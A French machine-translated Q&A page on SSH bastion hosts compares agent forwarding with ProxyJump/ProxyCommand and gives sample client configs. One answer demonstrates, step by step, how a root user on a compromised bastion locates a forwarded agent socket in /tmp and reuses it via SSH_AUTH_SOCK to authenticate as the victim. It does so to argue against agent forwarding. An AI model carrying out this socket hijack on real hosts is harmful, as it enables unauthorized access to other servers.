web-dev-qa-db-fra.com

Serveur Bastion: utilisez TCP transfert VS plaçant la clé privée sur le serveur

Nous avons le serveur bastion B. Nous devons SSH de A à B à C, en utilisant une clé privée.

Quelle est la meilleure option:

  • Mettez la clé SSH privée sur le serveur B. Nous lisons que c'est une mauvaise idée de le faire dans un environnement de production.

    De ici :

    Ne placez jamais vos clés privées SSH sur l'instance bastion. Utilisez plutôt le transfert d'agent SSH pour vous connecter d'abord au bastion, puis à d'autres instances dans des sous-réseaux privés. Cela vous permet de conserver votre clé privée SSH uniquement sur votre ordinateur.

  • Utilisez le transfert d'agent SSH . Pour configurer le transfert d'agent, je dois autoriser TCP Transfert. Lors de la configuration du transfert d'agent, un fichier socket est créé sur l'hôte de transfert, qui est le mécanisme par lequel la clé peut être transmise à Dans les paramètres du Bastion sur AWS:

    TCP forward: Définir cette valeur sur true activera TCP transfert (tunneling SSH). Cela peut être très utile mais c'est également un risque pour la sécurité, nous vous recommandons donc de conserver la valeur par défaut (désactivé) réglage sauf si requis

    Aussi de ici :

    Le transfert d'agent SSH est considéré comme dangereux

Qu'est-ce qui est mieux? Qu'en est-il de l'alternative du deuxième lien: ProxyCommand , je comprends que cela aide avec le problème du fichier socket, mais je pense toujours que je dois activer TCP transfert, est-il donc suffisamment sécurisé?

linuxsshsecurityprivate-keybastion
10
user2503775

Utilisez ProxyCommand ou ProxyJump

Je recommanderais d'utiliser ProxyCommand (ou encore mieux ProxyJump car la syntaxe est plus facile mais nécessite openssh 7.3+ je pense du côté client), et vous n'avez pas besoin de déployer de clé privée sur le Bastion, tout reste local.

Exemple avec ProxyJump

Sur votre ordinateur client, vous écrivez un fichier sous ~/.ssh/config avec un contenu similaire à ci-dessous:

Host bastion
  HostName bastion.example.com
  User bastion-user
  Port 22
  IdentityFile ~/.ssh/id_bastion

Host srvC
  HostName srvC.local
  User server-user
  IdentityFile ~/.ssh/id_protected_lan
  ProxyJump bastion

Puis en faisant ssh srvC vous connectera à C via B (bastion) sans transfert d'agent ni déploiement de la clé privée sur le bastion.

Dans l'exemple ci-dessus, "bastion" est un alias pour votre hôte Bastion et srvC est un alias pour votre serveur C. Dans le HostName, vous devez mettre des IP ou un vrai nom de domaine complet pour vos hôtes. Pour les utilisateurs, vous devez mettre à jour le User pour le nom de connexion correct sur le Bastion et le serveur C. Enfin, le IdentityFile est facultatif si vous utilisez un agent local (par exemple KeeAgent ou ssh-agent ), mais s'il ne fonctionne pas, il fonctionnera également et vous demandera chaque phrase secrète clé.

Déployer les clés publiques

Bien sûr, vous devez déployer les clés public sur bastion et srvC. Vous pouvez utiliser (le signe $ est juste pour illustrer l'invite, ne le tapez pas):

$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   srvC

Remarque: ce qui précède ne fonctionnera que si l'authentification par mot de passe est toujours autorisée. Après le déploiement ci-dessus et en vérifiant que tout fonctionne comme prévu, vous devez interdire l'authentification par mot de passe sur les 2 serveurs.

Exemple avec ProxyCommand au lieu de ProxyJump

Si vous avez une ancienne version d'OpenSSH qui ne prend pas en charge ProxyJump (côté client), remplacez:

ProxyJump bastion

par

ProxyCommand ssh -q -W %h:%p bastion

Pour autant que je sache, c'est similaire.

13
Huygens

J'ai vu la réponse à propos de ProxyJump. Parlons de ProxyCommand.

Mais attendez, attendez ! Je peux vous écrire comment pirater le serveur qui utilise le transfert d'agent, ce serait beaucoup plus facile de comprendre la différence!

Hackons !

Pour les étapes de base: vous pouvez lire mon article ici

Les étapes de base sont les suivantes:

  1. Créer des utilisateurs bastion
  2. Désactiver la connexion root
  3. Bloquer les tentatives de piratage
  4. Changer de port
  5. Configurer le pare-feu
  6. Configurer SELinux

Comment utiliser AgentForwarding

-Créer la configuration dans ~/.ssh/config

  Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

-Ajoutez votre clé d'authentification à ssh-agent

ssh-add ~/.ssh/name_rsa

-Connectez-vous au bastion hos

ssh bast

-Connectez le serveur d'applications du bastion

 ssh app@IP -p PORT

Piratage !

Vous pouvez, bien, me poser la question:

  • Mon serveur est-il sécurisé? Et la réponse est assez simple:

    • NON!

  • Pourquoi?

    • Parce que vous utilisez le transfert d'agent SSH!

  • Et où est le problème?

    • Parce que le transfert d'agent est dangereux et considéré comme nuisible.

  • Pourquoi?

    • Expliquons tout à l'intérieur: lorsque vous vous connectez à l'hôte bastion, votre glorieux agent ssh est transféré. Cela signifie que le socket sera configuré pour que quelqu'un puisse utiliser ces données de socket pour accéder à vos serveurs. Imaginez que votre serveur bastion soit compromis, si quelqu'un a des autorisations suffisantes sur votre serveur Linux, il/elle utilisera simplement vos informations de socket. En conséquence, tout votre serveur est accessible. Je sais que la fenêtre de compromis est très petite, car cela dépend du temps que vous êtes connecté à l'hôte bastion. Mais voulez-vous vraiment prendre le risque lorsque vous avez d'autres options comme ProxyCommand? Par conséquent, utilisez simplement ProxyCommand!

Comment pirater les serveurs si vous avez compromis l'hôte bastion?

Suivre la cible

Dans le répertoire/tmp, vous pouvez voir quelque chose comme ça:

[root@localhost tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo

Ouvrons le fichier temporaire

[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507

Voyons connexions à cet identifiant de processus.

netstat -nxp | grep  10507

résultat:

unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion

et qui est connecté?

lsof -i -a -p 10507

résultat:

COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)

Nous pouvons également voir les fichiers de socket:

cd /proc/10507/fd/
ls

résultat:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Et que se passe-t-il lorsque le client sera connecté au serveur distant? Voyons voir:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Nous pouvons même voir si le fichier socket est utilisé en utilisant netstat:

unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion

Voler les informations de socket et l'adresse IP

Maintenant, nous devons voler les informations de socket pendant que la session de bastion Host est ouverte. Oh, nous avons également besoin de IP du serveur de destination, alors utilisez simplement netstat:

netstat -tn

La dernière étape pour utiliser le fichier socket transféré

eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507

Vérifiez si la clé est chargée.

ssh-add -l

le résultat devrait être quelque chose comme ça:

2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)

Le serveur est piraté, comment résoudre le problème de sécurité?

Commande proxy

Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******

Pour les opérations de base: comment transférer des fichiers via les serveurs (de client à serveur, de serveur à client), vous pouvez lire sur mon post ici

Conclusion

  • Si vous utilisez bastion Host, n'utilisez pas AgentForwarding mais utilisez ProxyCommand
  • Toujours utiliser un utilisateur non root pour l'authentification
  • Utilisez un pare-feu et bloquez toutes les connexions inutiles.
  • Utilisez SELinux (en général)
  • Bloquer l'adresse IP qui essaie de se connecter plusieurs fois avec des informations d'identification incorrectes
  • Si ce n'est pas nécessaire, ne donnez pas l'autorisation de Sudo à l'utilisateur
  • Surveillez votre serveur
  • Mettez à jour votre serveur pour les correctifs de sécurité

Plus d'informations, voir mon blog . De plus, j'ai quelques captures d'écran, donc cela peut vous être utile.

5
grep

Utilisez simplement transfert d'agent SSH comme la plupart des autres.

  • Les clés seront dans l'agent ssh sur votre ordinateur portable.
  • Vous vous connectez à bastion, authentifié via l'agent.
  • De là, connectez-vous à votre hôte cible, avec une demande d'authentification retransmise à votre ordinateur portable .

Avantage: aucune clé stockée sur le bastion ne peut être mal utilisée.

J'espère que cela pourra aider :)

4
MLu